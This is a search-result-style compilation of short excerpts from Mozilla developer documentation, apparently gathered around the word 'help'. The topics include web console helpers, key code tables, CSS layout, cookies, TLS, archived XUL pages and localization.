to clear the history, use the clearhistory() helper function.
...defines a new function: <!doctype html> <html> <head> <meta charset="utf-8"> <script> function whoareyou() { return "i'm frame1"; } </script> </head> <body> </body> </html> you can switch context to the iframe like this: cd("#frame1"); now you'll see that the global window's document is the iframe: and you can call the function defined in the iframe: helper commands the javascript command line provided by the web console offers a few built-in helper functions that make certain tasks easier.
... help()deprecated since gecko 62 :help displays help text.
...this helper accepts multiple different ways of identifying the frame to switch to.
KeyboardEvent: code values - Web APIs
0xe032 "browserhome" "browserhome" 0xe033, 0xe034 "unidentified" "" 0xe035 "numpaddivide" "numpaddivide" 0xe036 "unidentified" "" 0xe037 "printscreen" "printscreen" 0xe038 "altright" "altright" 0xe039, 0xe03a "unidentified" "" 0xe03b "unidentified" "help" 0xe03c~ 0xe044 "unidentified" "" 0xe045 "numlock" "numlock" 0xe046 (ctrl + pause) "pause" "pause" 0xe047 "home" "home" 0xe048 "arrowup" "arrowup" 0xe049 "pageup" "pageup" 0xe04a "unidentified" "" 0xe04b "arrowleft" "arrowleft" 0xe04c "uniden...
...d actually) kvk_f11 (0x67) "f11" "f11" kvk_jis_kana (0x68) "lang1" "kanamode" (no events fired actually) kvk_f13 (0x69) "f13" "f13" kvk_f16 (0x6a) "f16" "f16" kvk_f14 (0x6b) "f14" "f14" kvk_f10 (0x6d) "f10" "f10" kvk_f12 (0x6f) "f12" "f12" kvk_f15 (0x71) "f15" "f15" kvk_help (0x72) "help" "insert" kvk_home (0x73) "home" "home" kvk_pageup (0x74) "pageup" "pageup" kvk_forwarddelete (0x75) "delete" "delete" kvk_f4 (0x76) "f4" "f4" kvk_end (0x77) "end" "end" kvk_f2 (0x78) "f2" "f2" kvk_pagedown (0x79) "pagedown" "pagedown" kvk_f1 (0x7a) "f1" "f1" ...
...textmenu" "contextmenu" 0x0088 "browserstop" "cancel" 0x0089 "again" "" 0x008a "props" "" 0x008b "undo" "undo" 0x008c "select" "" 0x008d "copy" "copy" 0x008e "open" "" 0x008f "paste" "paste" 0x0090 "find" "" 0x0091 "cut" "cut" 0x0092 "help" "help" 0x0093 "unidentified" "" 0x0094 "launchapp2" "" 0x0095, 0x0096 "unidentified" "" 0x0097 "wakeup" "" 0x0098 "launchapp1" "" 0x0099 ~ 0x00a2 "unidentified" "" 0x00a3 "launchmail" "" 0x00a4 "browserfavorites" "" 0x00a5 "unidentified" "" 0x00a6 ...
...07d "metaleft" 0x007e "metaright" 0x007f "contextmenu" 0x0080 "browserstop" 0x0081 "again" 0x0082 "props" 0x0083 "undo" 0x0084 "select" 0x0085 "copy" 0x0086 "open" 0x0087 "paste" 0x0088 "find" 0x0089 "cut" 0x008a "help" 0x008b ~ 0x008d "unidentified" 0x008e "sleep" 0x008f "wakeup" 0x0090 "launchapp1" 0x0091 ~ 0x009b "unidentified" 0x009c "browserfavorites" 0x009d "unidentified" 0x009e "browserback" 0x009f "browserforward" 0x00a0 "unidentified" 0...
WebGL model view projection - Web APIs
box.draw({ top : 1, // x bottom : -1, // x left : -1, // y right : 1, // y depth : -1.5, // z color : [0.4, 0.4, 1, 1] // blue }); the results view on jsfiddle exercise a helpful exercise at this point is to move the boxes around the clip space by varying the code to get a feel for how points get clipped and moved around in clip space.
...see perspective projection matrix below for an introduction to how to use more complex matrices to help control and prevent clipping.
...it would be helpful to define what distance is relevant to the scene so that precision isn't lost in converting the numbers.
... finally it's very helpful to have a fine-tuned control over what points get placed inside and outside of clip space.
Accessibility documentation index - Accessibility
11 multipart labels: using aria for labels with embedded fields inside them aria, accessibility, ben millard, firefox, guide, help, html, html 4, jaws, needscontent, aria-labelledby, label, solution, trouble shoot, troubleshoot the solution is in an aria attribute called aria-labelledby.
... taking advantage of personalization settings can help prevent exposure to content leading to seizures and / or other physical reactions.
... 95 understanding the web content accessibility guidelines wcag, web content accessibility guidelines this set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the w3c web content accessibility guidelines 2.0 or 2.1 (or just wcag, for the purposes of this writing).
... 103 understandable accessibility, help, language, navigation, principle 3, text, understandable, wcag, web content accessibility guidelines, abbreviations, consistency, error messages, form validation, labels, slang this article provides practical advice on how to write your web content so that it conforms to the success criteria outlined in the understandable principle of the web content accessibility guidelines (wcag) 2.0 and ...
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
choose the method you find most helpful for the problems that you are solving and the designs that you need to implement.
...i find this named areas method very helpful at a prototyping stage, it is easy to play around with the location of elements.
...an 2; grid-row: 2 / 4; } .content { grid-column: col-start 3 / span 8; grid-row: 2 / 4; } .side { grid-column: col-start 11 / span 2; grid-row: 2; } .ad { grid-column: col-start 11 / span 2; grid-row: 3; } .main-footer { grid-column: col-start / span 12; } nav ul { flex-direction: column; } } once again the grid inspector is useful to help us see how our layout has taken shape.
...ding: 10px; text-align: center; } .listing .body { padding: 10px; } .listing { list-style: none; margin: 2em; display: grid; grid-gap: 20px; grid-auto-flow: dense; grid-template-columns: repeat(auto-fill,minmax(200px, 1fr)); } .listing .wide { grid-column-end: span 2; } this technique of using auto-placement with some rules applied to certain items is very useful, and can help you to deal with content that is being output by a cms for example, where you have repeated items and can perhaps add a class to certain ones as they are rendered into the html.
User input and controls - Developer guides
for devices providing a mouse/touchpad as a pointing method, the pointer lock api helps you in implementing a first person 3d game or other applications requiring full control of the pointing device.
... and the fullscreen api helps you in displaying your app in fullscreen mode.
...touch events can help you implement interactive elements and common interaction gestures on touchscreen devices.
...pointer events help developers more easily manage events across devices by normalizing the handling of each one.
Link types - HTML: Hypertext Markup Language
<a>, <area> <link>, <form> canonical from wikipedia, the free encyclopedia: canonical_link_element a canonical link element is an html element that helps webmasters prevent duplicate content issues by specifying the "canonical" or "preferred" version of a web page as part of search engine optimization.
... <a>, <area>, <link> <form> help if the element is <a> or <area>, it indicates that the hyperlink leads to a resource giving further help about the parent of the element, and its descendants.
... if the element is <link> it indicates that the hyperlink leads to a resource giving further help about the page as a whole.
... obsolete added top, contents, index, glossary, copyright, next, previous, help, and search.
Using HTTP cookies - HTTP
WebHTTPCookies
this technique helps prevent session fixation attacks, where a third party can reuse a user's session.
...this precaution helps mitigate cross-site scripting (xss) attacks.
...however, it can be helpful when subdomains need to share information about a user.
...there are companies that offer "cookie banner" code that helps you comply with these regulations.
Privacy, permissions, and information security
modern browsers take steps to help prevent fingerprinting-based attacks by either not allowing information to be accessed or, where the information must be made available, by introducing variations that prevent it from being used for identification purposes.
... privacy and security controls there are multiple layers of controls for helping to protect users against security and privacy breaches.
... web technologies and features used to enforce security and privacy technology or feature description certificate transparency an open standard for monitoring and auditing certificates, creating a database of public logs that can be used to help identify incorrect or malicious certificates content security policy provides the ability to define the extent to which a document's content can be accessed by other devices over the web; used in particular to prevent or mitigate attacks on the server feature policy lets web developers selectively enable, disable, and modify the behavior of certain features and apis both ...
...this is the technology behind the https (hypertext transport protocol secured) protocol not all of these are generally directly used within code; notably, the permissions api, feature policy, and the allow attribute on <iframe> elements are primary tools directly used by code to help secure a site and its content.
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
13 svg attribute reference drawing, landing, needshelp, overview, responsive design, svg, svg attribute, svg reference, vector graphics svg elements can be modified using attributes that specify details about exactly how the element should be handled or rendered.
... 270 svg tutorial intermediate, needscontent, needshelp, needsupdate, svg, svg:tutorial scalable vector graphics, svg, is a w3c xml dialect to mark up graphics.
...with this helper, you can assign properties to a complete set of elements.
...this is particularly useful to help svg viewers conserve memory while displaying long-running documents.
Transport Layer Security - Web security
this article's goal is to help you make these decisions to ensure the confidentiality and integrity communication between client and server.
... http over tls tls provides three primary services that help ensure the safety and security of data exchanged with it: authentication authentication lets each party to the communication verify that the other party is who they claim to be.
... to assist you in configuring your site, mozilla provides a helpful tls configuration generator that will generate configuration files for the following web servers: apache nginx lighttpd haproxy amazon web services cloudformation elastic load balancer using the configurator is a recommended way to create the configuration to meet your needs; then copy and paste it into the appropriate file on your server and restart the server to pick up the changes.
... retiring old tls versions to help with working towards a more modern, more secure web, tls 1.0 and 1.1 support will be removed from all major browsers in q1 2020.
Tutorials
whether you are just starting out, learning the basics, or are an old hand at web development, you can find helpful resources here for best practices.
... the aim here is to provide you with a toolkit for writing competent css and help you understand all the essential theory, before moving on to more specific disciplines like text styling and css layout.
... getting started with javascript what is javascript and how can it help you?
...the object-oriented nature of javascript is important to understand if you want to go further with your knowledge of the language and write more efficient code, therefore we've provided this module to help you.
XUL Migration Guide - Archive of obsolete content
this guide aims to help you migrate a xul-based add-on to the sdk.
... if your add-on needs a lot of help from third party packages, low-level apis, or xpcom, then the cost of migrating is high, and may not be worth it at this point.
... if your add-on only needs a little help from those techniques, and can accomplish most of what it needs using the supported apis, then it might still be worth migrating: we'll add more supported apis in future releases to meet important use cases.
Guides - Archive of obsolete content
contributor's guide getting started learn how to contribute to the sdk: getting the code, opening/taking a bug, filing a patch, getting reviews, and getting help.
... classes and inheritance learn how classes and inheritance can be implemented in javascript, using constructors and prototypes, and about the helper functions provided by the sdk to simplify this.
... xul migration xul migration guide techniques to help port a xul add-on to the sdk.
LookupNamespaceURI - Archive of obsolete content
addlookupnamespaceuri(doc); addlookupnamespaceuri(element); function addlookupnamespaceuri (type) { if (!type.prototype.lookupnamespaceuri) { type.prototype.lookupnamespaceuri = lookupnamespaceuri; } function lookupnamespaceuri (prefix) { return lookupnamespaceurihelper(this, prefix); } function lookupnamespaceurihelper (node, prefix) { // adapted directly from http://www.w3.org/tr/dom-level-3-core/namespaces-algorithms.html#lookupnamespaceurialgo var i, att, htmlmode = document.contenttype, // mozilla only xmlnspattern = /^xmlns:(.*)$/; switch (node.nodetype) { case 1: // element_node (could also ju...
...tt.value) { return att.value; } return null; // unknown } } } if (node.parentnode && node.parentnode.nodetype !== 9) { // entityreferences may have to be skipped to get to it return lookupnamespaceurihelper(node.parentnode, prefix); } return null; case 9: // document_node return lookupnamespaceurihelper(node.documentelement, prefix); case 6: // entity_node case 12: // notation_node case 10: // document_type_node case 11: // document_fragment_node return null; // unknown ...
... case 2: // attribute_node if (node.ownerelement) { return lookupnamespaceurihelper(node.ownerelement, prefix); } return null; // unknown default: // text_node (3), cdata_section_node (4), entity_reference_node (5), // processing_instruction_node (7), comment_node (8) if (node.parentnode) { // entityreferences may have to be skipped to get to it return lookupnamespaceurihelper(node.parentnode, prefix); } return null; // unknown } }; } }()); ...
SVG General - Archive of obsolete content
you will also find some general purpose scripting helpers, that should make scripting svg a little easier.
... dynamic scripting helper this little helper script can be used to simplify creation of svg elements in script.
...attr_map[attribute] : attribute); var value = attributes[attribute]; if (attribute in ns_map) elem.setattributens(ns_map[attribute], name, value); else elem.setattribute(name, value); } return elem; } attributes are packed in a literal object and the helper script unpacks them and adds them to the element.
Developing add-ons - Archive of obsolete content
this page will help guide you to the information you need in order to create add-ons for firefox, thunderbird, or other software based on the mozilla platform, as well as how to distribute your add-ons.
... add-ons topics submitting an add-on to amo provides helpful information for add-on developers to help them properly package and deliver their add-ons.
... performance performance guides and utilities to help you make your add-on perform well (and to play nicely with others).
Chapter 3: Introduction to XUL—How to build a more intuitive UI - Archive of obsolete content
for example, there is the mozilla amazon browser, which helps with shopping at amazon, and the presentation method in xul, a tool for writing and displaying presentations to try out the code samples in this chapter, save them as text files with .xul extensions and drag and drop them into the firefox browser window.
... help the help button.
... figure 8: a button with an image icon attribute value icon attribute value accept close cancel print help add open remove save refresh find go-forward clear go-back yes properties no select-font apply select-color table 2: values for the icon attribute toolbar buttons the toolbarbutton element is the element used to define toolbar buttons.
Setting Up a Development Environment - Archive of obsolete content
most xul tools and plugins you'll find online are merely templates that generate the folder structure for the project, and that's not much help.
...it has an add-on system similar to the one in firefox, and there are some komodo extensions that provide additional help in extension development.
...the chromebug extension helps in making firebug more useful for extension development, but it may still not be powerful enough to replace all of the previously mentioned add-ons.
Index of archived content - Archive of obsolete content
browserapp addtab closetab deck getbrowserfordocument getbrowserforwindow gettabforbrowser gettabforid gettabforwindow loaduri quit selecttab tabs helperapps.jsm home.jsm banner panels homeprovider.jsm homestorage nativewindow contextmenus doorhanger menu...
...g firefox style system overview using microformats firefox sync code snippets javascript client api syncing custom preferences force rtl gre gre registration gecko coding help wanted http class overview hacking wiki help viewer creating a help content pack helper apps (and a bit of save as) hidden prefs how to write and land nanojit patches io guide/directory keys introducing the audio api extension isp data java...
... writing javascript for xhtml xforms building mozilla xforms community developing mozilla xforms implementation status mozilla xforms specials mozilla xforms user interface xforms alert element xforms group element xforms help element xforms hint element xforms input element xforms label element xforms message element xforms output element xforms range element xforms repeat element xforms secret element xforms select element xforms select1 element xforms submit elemen...
Creating a Skin for Firefox/Getting Started - Archive of obsolete content
skin\classic\help help contains all the files for theming the help dialog window.
...into this directory put the browser, global, communicator, help, and mozapps directories from above, as well as the icon.png and preview.png files.
... repackaging jar now all you need to do is repackage a jar file with the following directory structure, using your favorite archive manager to create a zip archive: /browser/* /communicator/* /global/* /help/* /mozapps/* /contents.rdf /install.rdf /icon.png /preview.png make sure not to just zip up the my_theme parent directory since that will cause the drag and drop install in the next section to fail without error messages.
Extension Frequently Asked Questions - Archive of obsolete content
for thunderbird, you may also find the extension howto or faq pages helpful.
... where can i get more help?
... before asking for help, be sure to set the debugging prefs and check the error console for related messages.
Running Tamarin acceptance tests - Archive of obsolete content
shellabc=/users/build/hg/tamarin-redux/generated/shell_toplevel.abc $ export avm=/users/build/hg/tamarin-redux/objdir-release/shell/avmshell $ python runtests.py tamarin tests started: 2010-09-28 10:37:06.410676 current configuration: x64-mac-tvm-release avm version: 5260:6d1899261bac executing 2532 tests against vm: /users/build/hg/builds/5260-6d1899261bac/mac/avmshell_64 2532 running abcasm/abs_helper.as skipping...
...for help on runtests.py options, see below or use python runtests.py -h.
...c:/python26/python.exe ./runtests.py --threads=3 other flags of interest (for a list of all flags, run runtests.py with -h/--help) --nohtml : will suppress the creation of an html output file --rebuildtests : will only rebuild test .abc's, will not attempt to run them.
[Deprecated] The Mozilla build VM - Archive of obsolete content
mentored bugs have a mentor who commits to helping you every step of the way.
...whenever you need help, contact the mentor via matrix, in the bug itself, or by email.
... when you've completed the bug, they will help you get your code into the tree.
Venkman Introduction - Archive of obsolete content
if the source text you are debugging is poorly formatted, pretty print can help make it easier to read by inserting line breaks and whitespace in appropriate places.
...the /help command can be used to get additional information about a specific command.
... you can type /help next, for example, to see how to use the next command.
XML in Mozilla - Archive of obsolete content
please help updating it with current information.
...how can i help?
... if you can code, look for helpwanted keyword in xml bugs.
Attribute (XUL) - Archive of obsolete content
afterselected align allowevents allownegativeassertions alternatingbackground alwaysopenpopup attribute autocheck autocompleteenabled autocompletepopup autocompletesearch autocompletesearchparam autofill autofillaftermatch autoscroll beforeselected buttonaccesskeyaccept buttonaccesskeycancel buttonaccesskeydisclosure buttonaccesskeyextra1 buttonaccesskeyextra2 buttonaccesskeyhelp buttonalign buttondir buttondisabledaccept buttonlabelaccept buttonlabelcancel buttonlabeldisclosure buttonlabelextra1 buttonlabelextra2 buttonlabelhelp buttonorient buttonpack buttons checked checkstate clicktoscroll class closebutton closemenu coalesceduplicatearcs collapse collapsed color cols command commandupdater completedefaultindex container containment conten...
...eautoselect disableclose disabled disablehistory disablekeynavigation disablesecurity dlgtype dragging editable editortype element empty emptytext deprecated since gecko 2 enablecolumndrag enablehistory equalsize eventnode events expr firstdayofweek firstpage first-tab fixed flags flex focused forcecomplete grippyhidden grippytooltiptext group handlectrltab height helpuri hidden hidechrome hidecolumnpicker hideheader hideseconds hidespinbuttons highlightnonmatches homepage href icon id ignoreblurwhilesearching ignorecase ignoreincolumnpicker ignorekeys image inactivetitlebarcolor increment index inputtooltiptext insertafter insertbefore instantapply inverted iscontainer isempty key keycode keytext label lastpage lastselected l...
...nheight minresultsforpopup minwidth mode modifiers mousethrough movetoclick multiline multiple name negate newlines next noautofocus noautohide noinitialfocus nomatch norestorefocus object observes onbeforeaccept onbookmarkgroup onchange onclick onclosetab oncommand oncommandupdate ondialogaccept ondialogcancel ondialogclosure ondialogextra1 ondialogextra2 ondialoghelp onerror onerrorcommand onextra1 onextra2 oninput onload onnewtab onpageadvanced onpagehide onpagerewound onpageshow onpaneload onpopuphidden onpopuphiding onpopupshowing onpopupshown onsearchcomplete onselect ontextcommand ontextentered ontextrevert ontextreverted onunload onwizardback onwizardcancel onwizardfinish onwizardnext open ordinal orient pack pageid page...
Creating a Wizard - Archive of obsolete content
« previousnext » many applications use wizards to help the user through complex tasks.
...the wizards are often used to help the user perform a complex task.
... an example wizard source <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <wizard id="example-window" title="select a dog wizard" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <wizardpage> <description> this wizard will help you select the type of dog that is best for you." </description> <label value="why do you want a dog?"/> <menulist> <menupopup> <menuitem label="to scare people away"/> <menuitem label="to get rid of a cat"/> <menuitem label="i need a best friend"/> </menupopup> </menulist> </wizardpage> <wizardpage description="dog details"> <label val...
prefpane - Archive of obsolete content
attributes helpuri, image, label, onpaneload, selected, src properties image, label, preferenceelements, preferences, selected, src examples methods preferenceforelement <prefpane id="panegeneral" label="general" src="chrome://path/to/paneoverlay.xul"/> or <prefpane id="panegeneral" label="general" onpaneload="ongeneralpaneload(event);"> <preferences> <preference id="pref_one...
...</prefpane> attributes helpuri type: uri the uri of the help page associated with a preference panel.
... the uri will be opened using the help viewer when the help button is pressed.
XULRunner Hall of Fame - Archive of obsolete content
font managing tool for windows and linux, that helps you find the font you're looking for.
... taskpool taskpool is a little application to help keep track of time.
... xuljet a framework that helps to create platform independent desktop applications directly in javascript ...
XUL Explorer - Archive of obsolete content
a xul validator and the error console are both available to help debug problems.
... the help menu provides access to xul information on mdc.
... there is even simple “keyword” help lookup for xul elements.
Gecko Compatibility Handbook - Archive of obsolete content
they are actually replaced by ''-(example removed)-'' the goal of this handbook is to help you update websites to work with standards-based browsers and properly detect gecko.
... if you're new to standards, you may find using web standards in your web pages a helpful introduction.
...you can verify the string got changed by looking under help | about.
Use Case - Archive of obsolete content
it is intended to help people understand why the rss format is the way it is.
... help people understand what the rss format should become.
... and help give developers more insight.
Introduction to Public-Key Cryptography - Archive of obsolete content
certificates help prevent the use of fake public keys for impersonation.
... most importantly, object signing helps users and network administrators implement decisions about software distributed over intranets or the internet-for example, whether to allow java applets signed by a given entity to use specific computer capabilities on specific users' machines.
...ras can be helpful in scaling an pki across different departments, geographical areas, or other operational units with varying policies and authentication requirements.
XForms Custom Controls - Archive of obsolete content
hopefully we can help you avoid a lot of frustration and despair :).
...this will also allow you to be up to date with our current approaches (often the result of hard-learned lessons) and that will hopefully help you to more easily write your own controls.
...the following list shows where the base bindings for our xforms controls are defined: xforms.xml - contains the base bindings for output, label, trigger, submit, case, message, hint, help, alert, upload and repeat xforms controls.
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
we leverage some of these ideas to help you make your netscape communicator 4.x plugins exposed to javascript in mozilla based browsers.
... // helper class to implement all necessary nsiclassinfo method stubs // and to set flags used by the security system class nsclassinfomixin : public nsiclassinfo { // these flags are used by the dom and security systems to signal that // javascript callers are allowed to call this object's scritable methods.
... ns_imethod getinterfaces(pruint32 *count, nsiid * **array) {return ns_error_not_implemented;} ns_imethod gethelperforlanguage(pruint32 language, nsisupports **_retval) {return ns_error_not_implemented;} ns_imethod getcontractid(char * *acontractid) {return ns_error_not_implemented;} ns_imethod getclassdescription(char * *aclassdescription) {return ns_error_not_implemented;} ns_imethod getclassid(nscid * *aclassid) {return ns_error_not_implemented;} ns_imethod getclassidnoalloc(nscid ...
Building up a basic demo with Babylon.js - Game development
as with any other 3d library it provides built-in functions to help you implement common 3d functionality more quickly.
...there is one helper variable already included, which will store a reference to the <canvas> element.
...define a helper variable — t — that we will use for animations, just before the renderloop, and decrement it on every frame inside the loop, like this: var t = 0; var renderloop = function () { scene.render(); t -= 0.01; // animation code goes here }; engine.runrenderloop(renderloop); the t variable will be incremented on every rendered frame.
CSS and JavaScript accessibility best practices - Learn web development
css and javascript don't have the same immediate importance for accessibility as html, but they are still able to help or damage accessibility, depending on how they are used.
...you could style form focus/hover states to make this behaviour more consistent across browsers or fit in better with your page design, but don't get rid of it altogether — again, people rely on these clues to help them know what is going on.
... as a final note, we have used some wai-aria attributes in our demo to help solve accessibility problems caused by areas of content constantly updating without a page reload (screen readers won't pick this up or alert users to it by default): <div class="errors" role="alert" aria-relevant="all"> <ul> </ul> </div> we will explain these attributes in our next article, which covers wai-aria in much more detail.
Handling different text directions - Learn web development
as you progress in your study and begin to work with layout, an understanding of writing modes will be very helpful to you, therefore we will introduce them now.
...don't worry too much about that right now, but keep these ideas in mind as you start to look at layout; you will find it really helpful in your understanding of css.
...it will help you in understanding css even if you never use a writing mode other than a horizontal one.
Pseudo-classes and pseudo-elements - Learn web development
once again the relevant mdn page for each selector is helpful in explaining browser support.
...they tend to act as if you had applied a class to some part of your document, often helping you cut down on excess classes in your markup, and giving you more flexible, maintainable code.
...a great example is the site css arrow please, which helps you to generate an arrow with css.
Supporting older browsers - Learn web development
the specification for feature queries also contains the ability to test if a browser does not support a feature — this is only helpful if the browser does support feature queries.
...this also means that there are some outdated articles and tutorials in existence; this useful guide helps you check what you are looking at and can also help if you need flex support in very old browsers.
... the guide to progressive enhancement in grid layout can help you understand the ie version of the grid, and we have included some additional useful links at the end of this lesson.
How CSS is structured - Learn web development
this helps you to remember how the code works as you come back later for fixes or enhancement.
... it also helps others understand the code.
...this helps to navigate the codebase as it gets larger.
Styling lists - Learn web development
this means that each paragraph and list will have the same font size and top and bottom spacing, helping to keep the vertical rhythm consistent.
...this will also help to keep the vertical rhythm consistent.
...html and css have some tools to help you here.
How can we design for all types of users? - Learn web development
this article provides basic tips to help you design websites for any kind of user.
...make it extra easy to read the text, to help visually-impaired people and people using their phones on the street.
...there are various tools to help you, either online or local: installed software.
How to build custom form controls - Learn web development
if you want to learn more about this topic, you should check out the following helpful resources: uxmatters.com uxdesign.com the ux design section of smashingmagazine note: also, in most systems there is a way to open the <select> element with the keyboard to look at all the available choices (this is the same as clicking the <select> element with a mouse).
...*/ box-shadow: 0 0 3px 1px #227755; } now, let's handle the list of options: /* the .select selector here helps to make we only select element inside our control.
...two hints to help you in this: the first argument for all our functions is the same, which means those functions need the same context.
How to structure a web form - Learn web development
using correct structure when building an html form will help ensure that the form is both usable and accessible.
... if there is no label, or if the form control is neither implicitly or explicitly associated with a label, and a screenreader will read out something like "edit text blank", which isn't very helpful at all.
...while this helps inform users what an asterisk means, it can not be relied upon.
Your first form - Learn web development
a web form's html is made up of one or more form controls (sometimes called widgets), plus some additional elements to help structure the overall form — they are often referred to as html forms.
...designing a quick mockup will help you to define the right set of data you want to ask your user to enter.
...forms have way more power than what we saw here and the other articles in this module will help you to master the rest.
Web forms — Working with user data - Learn web development
this module provides a series of articles that will help you master the essentials of web forms.
...we also want to help our users to fill out our forms correctly and not get frustrated when trying to use our apps.
... form validation helps us achieve these goals — this article tells you what you need to know.
Front-end web developer - Learn web development
getting help we have tried to make learning front-end web development as comfortable as possible, but you will probably still get stuck because you don't understand something, or some code is just not working.
...the learning and getting help article provides you with a series of tips for looking up information and helping yourself.
... guides installing basic software — basic tool setup (15 min read) background on the web and web standards (45 min read) learning and getting help (45 min read) semantics and structure with html time to complete: 35–50 hours prerequisites nothing except basic computer literacy, and a basic web development environment.
Tips for authoring fast-loading HTML pages - Learn web development
however, the fewer http requests and single image caching can help reduce page-load time.
...to help the browser render your page quicker, you should avoid nesting your tables.
... note: even though these attributes do help a lot the first time a page is loaded, you should use them but not assume they will work in all browsers.
Looping code - Learn web development
at this point, you probably understand the high-level concepts behind loops, but you are probably thinking "ok, great, but how does this help me write better javascript code?" as we said earlier, loops are all to do with doing the same thing over and over again, which is great for rapidly completing repetitive tasks.
...have a look at the useful string methods article for help.
... if there is anything you didn't understand, feel free to read through the article again, or contact us to ask for help.
Drawing graphics - Learn web development
boo hoo!</p> </canvas> of course, the above message is really unhelpful!
... first of all, add the following helper function to the bottom of your code.
... there are also a number of properties to help control text rendering such as font, which lets you specify font family, size, etc.
Measuring performance - Learn web development
previous overview: performance next meauring performance provides an important metric to help you asses the success of your app, site, or web service.
... tools and metrics there are a number of different tools available to help you improve performance.
... conclusion this article provided a brief overview of the web performance metrics to help introduce you to what you can measure on a web app or site.
Client-Server Overview - Learn web development
as most website server-side code handles requests and responses in similar ways, this will help you understand what you need to do when writing most of your own code.
... obviously web frameworks can help you with a lot of other tasks.
... in a following module we'll help you choose the best web framework for your first site.
Server-side website programming first steps - Learn web development
as most websites' server-side code handles requests and responses in a similar way, this will help you understand what you need to do when writing your own code.
...now we show how web frameworks can simplify these tasks, and help you choose the right framework for your first server-side web application.
...this introductory article won't make you a website security guru, but it will help you understand the first important steps you can take to protect your web application against the most common threats.
React interactivity: Events and state - Learn web development
we want our handlesubmit() function to ultimately help us create a new task, so we need a way to pass information from <form /> to <app />.
...making unique identifiers is a hard problem – one for which the javascript community has written some helpful libraries.
...as a feature of html, the browser knows how to remember which checkbox inputs are checked or unchecked without our help.
Dynamic behavior in Svelte: working with variables and props - Learn web development
we'll create a variable to hold the current filter, and a helper function that will return the filtered todos.
... now we just need to use the helper function in the {#each} loop; update it like this: ...
...filter is a top-level variable, so we might be tempted to remove it from the helper function params, and just call it like this — filtertodos(todo).
Handling common accessibility problems - Learn web development
in bad-form.html, they get an unhelpful label along the lines of "blank".
... finding help there are many other issues you'll encounter with accessibility; the most important thing to know really is how to find answers online.
... consult the html and css article's finding help section for some good pointers.
Deploying our app - Learn web development
github help pages has an excellent and simple walkthrough covering how to get one.
... note: there are also a lot of guides and tutorials on netlify to help you improve your development workflow.
... mkdir tests inside the new directory, create a test file: cd tests touch nasa-feed.test.js open this file, and add the contents of nasa-feed.test.js to it: this test uses the axios package to fetch the data feed we want to test; to install this dependency, run the following command: npm install --save-dev axios we need to manually install axios because parcel won't help us with this dependency.
Accessibility API cross-reference
this cross-reference helps us see the difference between today's accessibility api's.
...<h> is also available but its use is not recommended because of lack of suitable tools - and the heading level is undefined click on this thing and then click on the item for tooltip style help helpballoon n/a n/a n/a editable field that allows user to assign a key combination hotkeyfield n/a n/a n/a graphic that indicates something, such as an arrow indicator n/a n/a n/a abstract role - a generic type of widget that allows user input.
... title or caption of window titlebar n/a n/a <title> a button that can be pushed in or out, but doesn't provide separate indicator of checked state n/a toggle_button toggle_button button with aria-pressed attribute a toolbar toolbar tool_bar tool_bar toolbar the little piece of help text that comes up when you put your mouse over something tooltip tool_tip tool_tip tooltip a grid whose rows can be expanded and collapsed in the same manner as for a tree.
Accessibility information for UI designers and developers
for example, in this chart, it helps to add labels besides the colored chart lines:people who cannot see the difference between the colors, can use the labels instead.
...it is more helpful to describe what an input element is for in text just above or underneath the input.
... to help these users, you could offer a setting to turn off animations, or wrap the css in the prefers-reduce-motion media query.
Browser chrome tests
for example, to run the tests in browser/base/content/test the command would be: ./mach mochitest -f browser browser/base/content/test/ or without mach test_path=<path_to_the_tests> make -c <objdir> mochitest-browser-chrome to run tests in debugger the following should work ./mach mochitest -f browser --debugger gdb browser/base/content/test/ run ./mach help mochitest-browser for more options.
...the eventutils helper functions are available on the eventutils object defined in the global scope.
... you can collect common utils and helpers in a file called head.js, that must live in the same folder as the browser-chrome tests.
HTTP logging
for many bugs, the "log.txt-main" file is the only thing you need to upload as a file attachment to your bugzilla bug (this is assuming you're logging to help a mozilla developer).
... thanks for helping us debug firefox.
... if you are using firefox >= 51, setting this option saves only the last n megabytes of logging data, which helps keep them manageable in size.
XPCOMUtils.jsm
using the generateqi helper queryinterface: xpcomutils.generateqi( [components.interfaces.nsiobserver, components.interfaces.nsimyinterface, "nsifoo", "nsibar" ]), // [optional] classinfo implementation, e.g.
... using the generateci helper.
... // will be automatically returned from queryinterface if that was // generated with the generateqi helper.
Localization content best practices
using meaningful ids could also help in these cases.
...this also helps with localization.
...one possible way to test a patch for localizability issues is to alter the en-us localization files, adding extraneous characters to the original strings: this can help to identify both hard-coded strings and "flexibility issues" in the ui.
Localizing extension metadata on addons.mozilla.org
getting translation help you are kindly advised not to use any automatic online translation, which can bring unpleasant low-quality output to users.
... amo doesn't directly provide translation assistance to extension authors, but there are a couple services that can help: babelzilla.org babelzilla.org is a community dedicated to the localization of extensions for moz family apps.
...they also provide help for adding a localization support to your extension if there is no localization structure yet.
Memory reporting
they provide more information to dmd, which is a tool that helps keep about:memory's "heap-unclassified" number low.
...it helps prevent accidentally having small differences in the function signatures (e.g.
...this helps drive about:memory's heap-unclassified number down.
Performance
the articles linked to from here will help you improve performance, whether you're developing core mozilla code or an add-on.
... xul school: add-on performance tips for add-on developers to help them avoid impairing application performance.
...in particular, they can help you understand why a particular object is being kept alive.
Localization Use Cases
first, there is devicestoragehelper.showformatedsize (sic): function showformatedsize(element, l10nid, size) { if (size === undefined || isnan(size)) { element.textcontent = ''; return; } // kb - 3 kb (nearest ones), mb, gb - 1.2 mb (nearest tenth) var fixeddigits = (size < 1024 * 1024) ?
...tter.getreadablefilesize(size, fixeddigits); var _ = navigator.mozl10n.get; element.textcontent = _(l10nid, { size: sizeinfo.size, unit: _('byteunit-' + sizeinfo.unit) }); } the function is used like so: // application storage updateappfreespace: function storage_updateappfreespace() { var self = this; this.getfreespace(this.appstorage, function(freespace) { devicestoragehelper.showformatedsize(self.appstoragedesc, 'availablesize', freespace); }); }, problem definition for all values of freespace, the following string is enough to construct a grammatically-correct sentence in english: availablesize = {{$size}} {{$unit}} available however, other languages might need to pluralize this string with different forms of the available adjective.
